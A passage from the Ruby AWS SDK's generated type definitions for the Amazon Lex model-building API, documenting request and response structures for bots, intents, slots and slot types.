# `ElicitIntent` dialog type. Since Amazon Lex does not have a
# clarification prompt to get an intent from the user, it returns a
# 400 Bad Request exception.
#
# * PutSession operation - When using the `PutSession` operation, you
# send an `ElicitIntent` dialog type. Since Amazon Lex does not have
# a clarification prompt to get an intent from the user, it returns
# a 400 Bad Request exception.
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/built-in-intent-fallback.html
# @return [Types::Prompt]
#
# @!attribute [rw] abort_statement
# When Amazon Lex can't understand the user's input in context, it
# tries to elicit the information a few times. After that, Amazon Lex
# sends the message defined in `abortStatement` to the user, and then
# cancels the conversation. To set the number of retries, use the
# `valueElicitationPrompt` field for the slot type.
#
# For example, in a pizza ordering bot, Amazon Lex might ask a user
# "What type of crust would you like?" If the user's response is
# not one of the expected responses (for example, "thin crust, "deep
# dish," etc.), Amazon Lex tries to elicit a correct response a few
# more times.
#
# For example, in a pizza ordering application, `OrderPizza` might be
# one of the intents. This intent might require the `CrustType` slot.
# You specify the `valueElicitationPrompt` field when you create the
# `CrustType` slot.
#
# If you have defined a fallback intent the cancel statement will not
# be sent to the user, the fallback intent is used instead. For more
# information, see [ AMAZON.FallbackIntent][1].
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/built-in-intent-fallback.html
# @return [Types::Statement]
#
# @!attribute [rw] idle_session_ttl_in_seconds
# The maximum time in seconds that Amazon Lex retains the data
# gathered in a conversation.
#
# A user interaction session remains active for the amount of time
# specified. If no conversation occurs during this time, the session
# expires and Amazon Lex deletes any data provided before the timeout.
#
# For example, suppose that a user chooses the OrderPizza intent, but
# gets sidetracked halfway through placing an order. If the user
# doesn't complete the order within the specified time, Amazon Lex
# discards the slot information that it gathered, and the user must
# start over.
#
# If you don't include the `idleSessionTTLInSeconds` element in a
# `PutBot` operation request, Amazon Lex uses the default value. This
# is also true if the request replaces an existing bot.
#
# The default is 300 seconds (5 minutes).
# @return [Integer]
#
# @!attribute [rw] voice_id
# The Amazon Polly voice ID that you want Amazon Lex to use for voice
# interactions with the user. The locale configured for the voice must
# match the locale of the bot. For more information, see [Voices in
# Amazon Polly][1] in the *Amazon Polly Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/polly/latest/dg/voicelist.html
# @return [String]
#
# @!attribute [rw] checksum
# Identifies a specific revision of the `$LATEST` version.
#
# When you create a new bot, leave the `checksum` field blank. If you
# specify a checksum you get a `BadRequestException` exception.
#
# When you want to update a bot, set the `checksum` field to the
# checksum of the most recent revision of the `$LATEST` version. If
# you don't specify the ` checksum` field, or if the checksum does
# not match the `$LATEST` version, you get a
# `PreconditionFailedException` exception.
# @return [String]
#
# @!attribute [rw] process_behavior
# If you set the `processBehavior` element to `BUILD`, Amazon Lex
# builds the bot so that it can be run. If you set the element to
# `SAVE` Amazon Lex saves the bot, but doesn't build it.
#
# If you don't specify this value, the default value is `BUILD`.
# @return [String]
#
# @!attribute [rw] locale
# Specifies the target locale for the bot. Any intent used in the bot
# must be compatible with the locale of the bot.
#
# The default is `en-US`.
# @return [String]
#
# @!attribute [rw] child_directed
# For each Amazon Lex bot created with the Amazon Lex Model Building
# Service, you must specify whether your use of Amazon Lex is related
# to a website, program, or other application that is directed or
# targeted, in whole or in part, to children under age 13 and subject
# to the Children's Online Privacy Protection Act (COPPA) by
# specifying `true` or `false` in the `childDirected` field. By
# specifying `true` in the `childDirected` field, you confirm that
# your use of Amazon Lex **is** related to a website, program, or
# other application that is directed or targeted, in whole or in part,
# to children under age 13 and subject to COPPA. By specifying `false`
# in the `childDirected` field, you confirm that your use of Amazon
# Lex **is not** related to a website, program, or other application
# that is directed or targeted, in whole or in part, to children under
# age 13 and subject to COPPA. You may not specify a default value for
# the `childDirected` field that does not accurately reflect whether
# your use of Amazon Lex is related to a website, program, or other
# application that is directed or targeted, in whole or in part, to
# children under age 13 and subject to COPPA.
#
# If your use of Amazon Lex relates to a website, program, or other
# application that is directed in whole or in part, to children under
# age 13, you must obtain any required verifiable parental consent
# under COPPA. For information regarding the use of Amazon Lex in
# connection with websites, programs, or other applications that are
# directed or targeted, in whole or in part, to children under age 13,
# see the [Amazon Lex FAQ.][1]
#
#
#
# [1]: https://aws.amazon.com/lex/faqs#data-security
# @return [Boolean]
#
# @!attribute [rw] detect_sentiment
# When set to `true` user utterances are sent to Amazon Comprehend for
# sentiment analysis. If you don't specify `detectSentiment`, the
# default is `false`.
# @return [Boolean]
#
# @!attribute [rw] create_version
# When set to `true` a new numbered version of the bot is created.
# This is the same as calling the `CreateBotVersion` operation. If you
# don't specify `createVersion`, the default is `false`.
# @return [Boolean]
#
# @!attribute [rw] tags
# A list of tags to add to the bot. You can only add tags when you
# create a bot, you can't use the `PutBot` operation to update the
# tags on a bot. To update tags, use the `TagResource` operation.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutBotRequest AWS API Documentation
#
class PutBotRequest < Struct.new(
:name,
:description,
:intents,
:enable_model_improvements,
:nlu_intent_confidence_threshold,
:clarification_prompt,
:abort_statement,
:idle_session_ttl_in_seconds,
:voice_id,
:checksum,
:process_behavior,
:locale,
:child_directed,
:detect_sentiment,
:create_version,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot.
# @return [String]
#
# @!attribute [rw] intents
# An array of `Intent` objects. For more information, see PutBot.
# @return [Array<Types::Intent>]
#
# @!attribute [rw] enable_model_improvements
# Indicates whether the bot uses accuracy improvements. `true`
# indicates that the bot is using the improvements, otherwise,
# `false`.
# @return [Boolean]
#
# @!attribute [rw] nlu_intent_confidence_threshold
# The score that determines where Amazon Lex inserts the
# `AMAZON.FallbackIntent`, `AMAZON.KendraSearchIntent`, or both when
# returning alternative intents in a [PostContent][1] or [PostText][2]
# response. `AMAZON.FallbackIntent` is inserted if the confidence
# score for all intents is below this value.
# `AMAZON.KendraSearchIntent` is only inserted if it is configured for
# the bot.
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostContent.html
# [2]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostText.html
# @return [Float]
#
# @!attribute [rw] clarification_prompt
# The prompts that Amazon Lex uses when it doesn't understand the
# user's intent. For more information, see PutBot.
# @return [Types::Prompt]
#
# @!attribute [rw] abort_statement
# The message that Amazon Lex uses to cancel a conversation. For more
# information, see PutBot.
# @return [Types::Statement]
#
# @!attribute [rw] status
# When you send a request to create a bot with `processBehavior` set
# to `BUILD`, Amazon Lex sets the `status` response element to
# `BUILDING`.
#
# In the `READY_BASIC_TESTING` state you can test the bot with user
# inputs that exactly match the utterances configured for the bot's
# intents and values in the slot types.
#
# If Amazon Lex can't build the bot, Amazon Lex sets `status` to
# `FAILED`. Amazon Lex returns the reason for the failure in the
# `failureReason` response element.
#
# When you set `processBehavior` to `SAVE`, Amazon Lex sets the status
# code to `NOT BUILT`.
#
# When the bot is in the `READY` state you can test and publish the
# bot.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex provides the reason that it
# failed to build the bot.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot was updated. When you create a resource, the
# creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot was created.
# @return [Time]
#
# @!attribute [rw] idle_session_ttl_in_seconds
# The maximum length of time that Amazon Lex retains the data gathered
# in a conversation. For more information, see PutBot.
# @return [Integer]
#
# @!attribute [rw] voice_id
# The Amazon Polly voice ID that Amazon Lex uses for voice interaction
# with the user. For more information, see PutBot.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the bot that you created.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot. For a new bot, the version is always
# `$LATEST`.
# @return [String]
#
# @!attribute [rw] locale
# The target locale for the bot.
# @return [String]
#
# @!attribute [rw] child_directed
# For each Amazon Lex bot created with the Amazon Lex Model Building
# Service, you must specify whether your use of Amazon Lex is related
# to a website, program, or other application that is directed or
# targeted, in whole or in part, to children under age 13 and subject
# to the Children's Online Privacy Protection Act (COPPA) by
# specifying `true` or `false` in the `childDirected` field. By
# specifying `true` in the `childDirected` field, you confirm that
# your use of Amazon Lex **is** related to a website, program, or
# other application that is directed or targeted, in whole or in part,
# to children under age 13 and subject to COPPA. By specifying `false`
# in the `childDirected` field, you confirm that your use of Amazon
# Lex **is not** related to a website, program, or other application
# that is directed or targeted, in whole or in part, to children under
# age 13 and subject to COPPA. You may not specify a default value for
# the `childDirected` field that does not accurately reflect whether
# your use of Amazon Lex is related to a website, program, or other
# application that is directed or targeted, in whole or in part, to
# children under age 13 and subject to COPPA.
#
# If your use of Amazon Lex relates to a website, program, or other
# application that is directed in whole or in part, to children under
# age 13, you must obtain any required verifiable parental consent
# under COPPA. For information regarding the use of Amazon Lex in
# connection with websites, programs, or other applications that are
# directed or targeted, in whole or in part, to children under age 13,
# see the [Amazon Lex FAQ.][1]
#
#
#
# [1]: https://aws.amazon.com/lex/faqs#data-security
# @return [Boolean]
#
# @!attribute [rw] create_version
# `True` if a new version of the bot was created. If the
# `createVersion` field was not specified in the request, the
# `createVersion` field is set to false in the response.
# @return [Boolean]
#
# @!attribute [rw] detect_sentiment
# `true` if the bot is configured to send user utterances to Amazon
# Comprehend for sentiment analysis. If the `detectSentiment` field
# was not specified in the request, the `detectSentiment` field is
# `false` in the response.
# @return [Boolean]
#
# @!attribute [rw] tags
# A list of tags associated with the bot.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutBotResponse AWS API Documentation
#
class PutBotResponse < Struct.new(
:name,
:description,
:intents,
:enable_model_improvements,
:nlu_intent_confidence_threshold,
:clarification_prompt,
:abort_statement,
:status,
:failure_reason,
:last_updated_date,
:created_date,
:idle_session_ttl_in_seconds,
:voice_id,
:checksum,
:version,
:locale,
:child_directed,
:create_version,
:detect_sentiment,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PutIntentRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# description: "Description",
# slots: [
# {
# name: "SlotName", # required
# description: "Description",
# slot_constraint: "Required", # required, accepts Required, Optional
# slot_type: "CustomOrBuiltinSlotTypeName",
# slot_type_version: "Version",
# value_elicitation_prompt: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# priority: 1,
# sample_utterances: ["Utterance"],
# response_card: "ResponseCard",
# obfuscation_setting: "NONE", # accepts NONE, DEFAULT_OBFUSCATION
# },
# ],
# sample_utterances: ["Utterance"],
# confirmation_prompt: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# rejection_statement: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# },
# follow_up_prompt: {
# prompt: { # required
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# rejection_statement: { # required
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# },
# },
# conclusion_statement: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# },
# dialog_code_hook: {
# uri: "LambdaARN", # required
# message_version: "MessageVersion", # required
# },
# fulfillment_activity: {
# type: "ReturnIntent", # required, accepts ReturnIntent, CodeHook
# code_hook: {
# uri: "LambdaARN", # required
# message_version: "MessageVersion", # required
# },
# },
# parent_intent_signature: "BuiltinIntentSignature",
# checksum: "String",
# create_version: false,
# kendra_configuration: {
# kendra_index: "KendraIndexArn", # required
# query_filter_string: "QueryFilterString",
# role: "roleArn", # required
# },
# }
#
# @!attribute [rw] name
# The name of the intent. The name is *not* case sensitive.
#
# The name can't match a built-in intent name, or a built-in intent
# name with "AMAZON." removed. For example, because there is a
# built-in intent called `AMAZON.HelpIntent`, you can't create a
# custom intent called `HelpIntent`.
#
# For a list of built-in intents, see [Standard Built-in Intents][1]
# in the *Alexa Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/standard-intents
# @return [String]
#
# @!attribute [rw] description
# A description of the intent.
# @return [String]
#
# @!attribute [rw] slots
# An array of intent slots. At runtime, Amazon Lex elicits required
# slot values from the user using prompts defined in the slots. For
# more information, see how-it-works.
# @return [Array<Types::Slot>]
#
# @!attribute [rw] sample_utterances
# An array of utterances (strings) that a user might say to signal the
# intent. For example, "I want \\\{PizzaSize\\} pizza", "Order
# \\\{Quantity\\} \\\{PizzaSize\\} pizzas".
#
# In each utterance, a slot name is enclosed in curly braces.
# @return [Array<String>]
#
# @!attribute [rw] confirmation_prompt
# Prompts the user to confirm the intent. This question should have a
# yes or no answer.
#
# Amazon Lex uses this prompt to ensure that the user acknowledges
# that the intent is ready for fulfillment. For example, with the
# `OrderPizza` intent, you might want to confirm that the order is
# correct before placing it. For other intents, such as intents that
# simply respond to user questions, you might not need to ask the user
# for confirmation before providing the information.
#
# <note markdown="1"> You you must provide both the `rejectionStatement` and the
# `confirmationPrompt`, or neither.
#
# </note>
# @return [Types::Prompt]
#
# @!attribute [rw] rejection_statement
# When the user answers "no" to the question defined in
# `confirmationPrompt`, Amazon Lex responds with this statement to
# acknowledge that the intent was canceled.
#
# <note markdown="1"> You must provide both the `rejectionStatement` and the
# `confirmationPrompt`, or neither.
#
# </note>
# @return [Types::Statement]
#
# @!attribute [rw] follow_up_prompt
# Amazon Lex uses this prompt to solicit additional activity after
# fulfilling an intent. For example, after the `OrderPizza` intent is
# fulfilled, you might prompt the user to order a drink.
#
# The action that Amazon Lex takes depends on the user's response, as
# follows:
#
# * If the user says "Yes" it responds with the clarification prompt
# that is configured for the bot.
#
# * if the user says "Yes" and continues with an utterance that
# triggers an intent it starts a conversation for the intent.
#
# * If the user says "No" it responds with the rejection statement
# configured for the the follow-up prompt.
#
# * If it doesn't recognize the utterance it repeats the follow-up
# prompt again.
#
# The `followUpPrompt` field and the `conclusionStatement` field are
# mutually exclusive. You can specify only one.
# @return [Types::FollowUpPrompt]
#
# @!attribute [rw] conclusion_statement
# The statement that you want Amazon Lex to convey to the user after
# the intent is successfully fulfilled by the Lambda function.
#
# This element is relevant only if you provide a Lambda function in
# the `fulfillmentActivity`. If you return the intent to the client
# application, you can't specify this element.
#
# <note markdown="1"> The `followUpPrompt` and `conclusionStatement` are mutually
# exclusive. You can specify only one.
#
# </note>
# @return [Types::Statement]
#
# @!attribute [rw] dialog_code_hook
# Specifies a Lambda function to invoke for each user input. You can
# invoke this Lambda function to personalize user interaction.
#
# For example, suppose your bot determines that the user is John. Your
# Lambda function might retrieve John's information from a backend
# database and prepopulate some of the values. For example, if you
# find that John is gluten intolerant, you might set the corresponding
# intent slot, `GlutenIntolerant`, to true. You might find John's
# phone number and set the corresponding session attribute.
# @return [Types::CodeHook]
#
# @!attribute [rw] fulfillment_activity
# Required. Describes how the intent is fulfilled. For example, after
# a user provides all of the information for a pizza order,
# `fulfillmentActivity` defines how the bot places an order with a
# local pizza store.
#
# You might configure Amazon Lex to return all of the intent
# information to the client application, or direct it to invoke a
# Lambda function that can process the intent (for example, place an
# order with a pizzeria).
# @return [Types::FulfillmentActivity]
#
# @!attribute [rw] parent_intent_signature
# A unique identifier for the built-in intent to base this intent on.
# To find the signature for an intent, see [Standard Built-in
# Intents][1] in the *Alexa Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/standard-intents
# @return [String]
#
# @!attribute [rw] checksum
# Identifies a specific revision of the `$LATEST` version.
#
# When you create a new intent, leave the `checksum` field blank. If
# you specify a checksum you get a `BadRequestException` exception.
#
# When you want to update a intent, set the `checksum` field to the
# checksum of the most recent revision of the `$LATEST` version. If
# you don't specify the ` checksum` field, or if the checksum does
# not match the `$LATEST` version, you get a
# `PreconditionFailedException` exception.
# @return [String]
#
# @!attribute [rw] create_version
# When set to `true` a new numbered version of the intent is created.
# This is the same as calling the `CreateIntentVersion` operation. If
# you do not specify `createVersion`, the default is `false`.
# @return [Boolean]
#
# @!attribute [rw] kendra_configuration
# Configuration information required to use the
# `AMAZON.KendraSearchIntent` intent to connect to an Amazon Kendra
# index. For more information, see [ AMAZON.KendraSearchIntent][1].
#
#
#
# [1]: http://docs.aws.amazon.com/lex/latest/dg/built-in-intent-kendra-search.html
# @return [Types::KendraConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutIntentRequest AWS API Documentation
#
class PutIntentRequest < Struct.new(
:name,
:description,
:slots,
:sample_utterances,
:confirmation_prompt,
:rejection_statement,
:follow_up_prompt,
:conclusion_statement,
:dialog_code_hook,
:fulfillment_activity,
:parent_intent_signature,
:checksum,
:create_version,
:kendra_configuration)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] description
# A description of the intent.
# @return [String]
#
# @!attribute [rw] slots
# An array of intent slots that are configured for the intent.
# @return [Array<Types::Slot>]
#
# @!attribute [rw] sample_utterances
# An array of sample utterances that are configured for the intent.
# @return [Array<String>]
#
# @!attribute [rw] confirmation_prompt
# If defined in the intent, Amazon Lex prompts the user to confirm the
# intent before fulfilling it.
# @return [Types::Prompt]
#
# @!attribute [rw] rejection_statement
# If the user answers "no" to the question defined in
# `confirmationPrompt` Amazon Lex responds with this statement to
# acknowledge that the intent was canceled.
# @return [Types::Statement]
#
# @!attribute [rw] follow_up_prompt
# If defined in the intent, Amazon Lex uses this prompt to solicit
# additional user activity after the intent is fulfilled.
# @return [Types::FollowUpPrompt]
#
# @!attribute [rw] conclusion_statement
# After the Lambda function specified in
# the`fulfillmentActivity`intent fulfills the intent, Amazon Lex
# conveys this statement to the user.
# @return [Types::Statement]
#
# @!attribute [rw] dialog_code_hook
# If defined in the intent, Amazon Lex invokes this Lambda function
# for each user input.
# @return [Types::CodeHook]
#
# @!attribute [rw] fulfillment_activity
# If defined in the intent, Amazon Lex invokes this Lambda function to
# fulfill the intent after the user provides all of the information
# required by the intent.
# @return [Types::FulfillmentActivity]
#
# @!attribute [rw] parent_intent_signature
# A unique identifier for the built-in intent that this intent is
# based on.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the intent was updated. When you create a resource,
# the creation date and last update dates are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the intent was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the intent. For a new intent, the version is always
# `$LATEST`.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the `$LATEST`version of the intent created or updated.
# @return [String]
#
# @!attribute [rw] create_version
# `True` if a new version of the intent was created. If the
# `createVersion` field was not specified in the request, the
# `createVersion` field is set to false in the response.
# @return [Boolean]
#
# @!attribute [rw] kendra_configuration
# Configuration information, if any, required to connect to an Amazon
# Kendra index and use the `AMAZON.KendraSearchIntent` intent.
# @return [Types::KendraConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutIntentResponse AWS API Documentation
#
class PutIntentResponse < Struct.new(
:name,
:description,
:slots,
:sample_utterances,
:confirmation_prompt,
:rejection_statement,
:follow_up_prompt,
:conclusion_statement,
:dialog_code_hook,
:fulfillment_activity,
:parent_intent_signature,
:last_updated_date,
:created_date,
:version,
:checksum,
:create_version,
:kendra_configuration)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PutSlotTypeRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# description: "Description",
# enumeration_values: [
# {
# value: "Value", # required
# synonyms: ["Value"],
# },
# ],
# checksum: "String",
# value_selection_strategy: "ORIGINAL_VALUE", # accepts ORIGINAL_VALUE, TOP_RESOLUTION
# create_version: false,
# parent_slot_type_signature: "CustomOrBuiltinSlotTypeName",
# slot_type_configurations: [
# {
# regex_configuration: {
# pattern: "RegexPattern", # required
# },
# },
# ],
# }
#
# @!attribute [rw] name
# The name of the slot type. The name is *not* case sensitive.
#
# The name can't match a built-in slot type name, or a built-in slot
# type name with "AMAZON." removed. For example, because there is a
# built-in slot type called `AMAZON.DATE`, you can't create a custom
# slot type called `DATE`.
#
# For a list of built-in slot types, see [Slot Type Reference][1] in
# the *Alexa Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/slot-type-reference
# @return [String]
#
# @!attribute [rw] description
# A description of the slot type.
# @return [String]
#
# @!attribute [rw] enumeration_values
# A list of `EnumerationValue` objects that defines the values that
# the slot type can take. Each value can have a list of `synonyms`,
# which are additional values that help train the machine learning
# model about the values that it resolves for a slot.
#
# A regular expression slot type doesn't require enumeration values.
# All other slot types require a list of enumeration values.
#
# When Amazon Lex resolves a slot value, it generates a resolution
# list that contains up to five possible values for the slot. If you
# are using a Lambda function, this resolution list is passed to the
# function. If you are not using a Lambda function you can choose to
# return the value that the user entered or the first value in the
# resolution list as the slot value. The `valueSelectionStrategy`
# field indicates the option to use.
# @return [Array<Types::EnumerationValue>]
#
# @!attribute [rw] checksum
# Identifies a specific revision of the `$LATEST` version.
#
# When you create a new slot type, leave the `checksum` field blank.
# If you specify a checksum you get a `BadRequestException` exception.
#
# When you want to update a slot type, set the `checksum` field to the
# checksum of the most recent revision of the `$LATEST` version. If
# you don't specify the ` checksum` field, or if the checksum does
# not match the `$LATEST` version, you get a
# `PreconditionFailedException` exception.
# @return [String]
#
# @!attribute [rw] value_selection_strategy
# Determines the slot resolution strategy that Amazon Lex uses to
# return slot type values. The field can be set to one of the
# following values:
#
# * `ORIGINAL_VALUE` - Returns the value entered by the user, if the
# user value is similar to the slot value.
#
# * `TOP_RESOLUTION` - If there is a resolution list for the slot,
# return the first value in the resolution list as the slot type
# value. If there is no resolution list, null is returned.
#
# If you don't specify the `valueSelectionStrategy`, the default is
# `ORIGINAL_VALUE`.
# @return [String]
#
# @!attribute [rw] create_version
# When set to `true` a new numbered version of the slot type is
# created. This is the same as calling the `CreateSlotTypeVersion`
# operation. If you do not specify `createVersion`, the default is
# `false`.
# @return [Boolean]
#
# @!attribute [rw] parent_slot_type_signature
# The built-in slot type used as the parent of the slot type. When you
# define a parent slot type, the new slot type has all of the same
# configuration as the parent.
#
# Only `AMAZON.AlphaNumeric` is supported.
# @return [String]
#
# @!attribute [rw] slot_type_configurations
# Configuration information that extends the parent built-in slot
# type. The configuration is added to the settings for the parent slot
# type.
# @return [Array<Types::SlotTypeConfiguration>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutSlotTypeRequest AWS API Documentation
#
class PutSlotTypeRequest < Struct.new(
:name,
:description,
:enumeration_values,
:checksum,
:value_selection_strategy,
:create_version,
:parent_slot_type_signature,
:slot_type_configurations)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the slot type.
# @return [String]
#
# @!attribute [rw] description
# A description of the slot type.
# @return [String]
#
# @!attribute [rw] enumeration_values
# A list of `EnumerationValue` objects that defines the values that
# the slot type can take.
# @return [Array<Types::EnumerationValue>]
#
# @!attribute [rw] last_updated_date
# The date that the slot type was updated. When you create a slot
# type, the creation date and last update date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the slot type was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the slot type. For a new slot type, the version is
# always `$LATEST`.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the `$LATEST` version of the slot type.
# @return [String]
#
# @!attribute [rw] value_selection_strategy
# The slot resolution strategy that Amazon Lex uses to determine the
# value of the slot. For more information, see PutSlotType.
# @return [String]
#
# @!attribute [rw] create_version
# `True` if a new version of the slot type was created. If the
# `createVersion` field was not specified in the request, the
# `createVersion` field is set to false in the response.
# @return [Boolean]
#
# @!attribute [rw] parent_slot_type_signature
# The built-in slot type used as the parent of the slot type.
# @return [String]
#
# @!attribute [rw] slot_type_configurations
# Configuration information that extends the parent built-in slot
# type.
# @return [Array<Types::SlotTypeConfiguration>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutSlotTypeResponse AWS API Documentation
#
class PutSlotTypeResponse < Struct.new(
:name,
:description,
:enumeration_values,
:last_updated_date,
:created_date,
:version,
:checksum,
:value_selection_strategy,
:create_version,
:parent_slot_type_signature,
:slot_type_configurations)
SENSITIVE = []
include Aws::Structure
end
# The resource that you are attempting to delete is referred to by
# another resource. Use this information to remove references to the
# resource that you are trying to delete.
#
# The body of the exception contains a JSON object that describes the
# resource.
#
# `\{ "resourceType": BOT | BOTALIAS | BOTCHANNEL | INTENT,`
#
# `"resourceReference": \{`
#
# `"name": string, "version": string \} \}`
#
# @!attribute [rw] reference_type
# @return [String]
#
# @!attribute [rw] example_reference
# Describes the resource that refers to the resource that you are
# attempting to delete. This object is returned as part of the
# `ResourceInUseException` exception.
# @return [Types::ResourceReference]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ResourceInUseException AWS API Documentation
#
class ResourceInUseException < Struct.new(
:reference_type,
:example_reference)
SENSITIVE = []
include Aws::Structure
end
# Describes the resource that refers to the resource that you are
# attempting to delete. This object is returned as part of the
# `ResourceInUseException` exception.
#
# @!attribute [rw] name
# The name of the resource that is using the resource that you are
# trying to delete.
# @return [String]
#
# @!attribute [rw] version
# The version of the resource that is using the resource that you are
# trying to delete.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ResourceReference AWS API Documentation
#
class ResourceReference < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# Identifies the version of a specific slot.
#
# @note When making an API call, you may pass Slot
# data as a hash:
#
# {
# name: "SlotName", # required
# description: "Description",
# slot_constraint: "Required", # required, accepts Required, Optional
# slot_type: "CustomOrBuiltinSlotTypeName",
# slot_type_version: "Version",
# value_elicitation_prompt: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# priority: 1,
# sample_utterances: ["Utterance"],
# response_card: "ResponseCard",
# obfuscation_setting: "NONE", # accepts NONE, DEFAULT_OBFUSCATION
# }
#
# @!attribute [rw] name
# The name of the slot.
# @return [String]
#
# @!attribute [rw] description
# A description of the slot.
# @return [String]
#
# @!attribute [rw] slot_constraint
# Specifies whether the slot is required or optional.
# @return [String]
#
# @!attribute [rw] slot_type
# The type of the slot, either a custom slot type that you defined or
# one of the built-in slot types.
# @return [String]
#
# @!attribute [rw] slot_type_version
# The version of the slot type.
# @return [String]
#
# @!attribute [rw] value_elicitation_prompt
# The prompt that Amazon Lex uses to elicit the slot value from the
# user.
# @return [Types::Prompt]
#
# @!attribute [rw] priority
# Directs Amazon Lex the order in which to elicit this slot value from
# the user. For example, if the intent has two slots with priorities 1
# and 2, AWS Amazon Lex first elicits a value for the slot with
# priority 1.
#
# If multiple slots share the same priority, the order in which Amazon
# Lex elicits values is arbitrary.
# @return [Integer]
#
# @!attribute [rw] sample_utterances
# If you know a specific pattern with which users might respond to an
# Amazon Lex request for a slot value, you can provide those
# utterances to improve accuracy. This is optional. In most cases,
# Amazon Lex is capable of understanding user utterances.
# @return [Array<String>]
#
# @!attribute [rw] response_card
# A set of possible responses for the slot type used by text-based
# clients. A user chooses an option from the response card, instead of
# using text to reply.
# @return [String]
#
# @!attribute [rw] obfuscation_setting
# Determines whether a slot is obfuscated in conversation logs and
# stored utterances. When you obfuscate a slot, the value is replaced
# by the slot name in curly braces (\\\{\\}). For example, if the slot
# name is "full\_name", obfuscated values are replaced with
# "\\\{full\_name\\}". For more information, see [ Slot Obfuscation
# ][1].
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/how-obfuscate.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Slot AWS API Documentation
#
class Slot < Struct.new(
:name,
:description,
:slot_constraint,
:slot_type,
:slot_type_version,
:value_elicitation_prompt,
:priority,
:sample_utterances,
:response_card,
:obfuscation_setting)
SENSITIVE = []
include Aws::Structure
end
# Provides configuration information for a slot type.
#
# @note When making an API call, you may pass SlotTypeConfiguration
# data as a hash:
#
# {
# regex_configuration: {
# pattern: "RegexPattern", # required
# },
# }
#
# @!attribute [rw] regex_configuration
# A regular expression used to validate the value of a slot.
# @return [Types::SlotTypeRegexConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/SlotTypeConfiguration AWS API Documentation
#
class SlotTypeConfiguration < Struct.new(
:regex_configuration)
SENSITIVE = []
include Aws::Structure
end
# Provides information about a slot type..
#
# @!attribute [rw] name
# The name of the slot type.
# @return [String]
#
# @!attribute [rw] description
# A description of the slot type.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the slot type was updated. When you create a resource,
# the creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the slot type was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the slot type.
# @return [String]
#
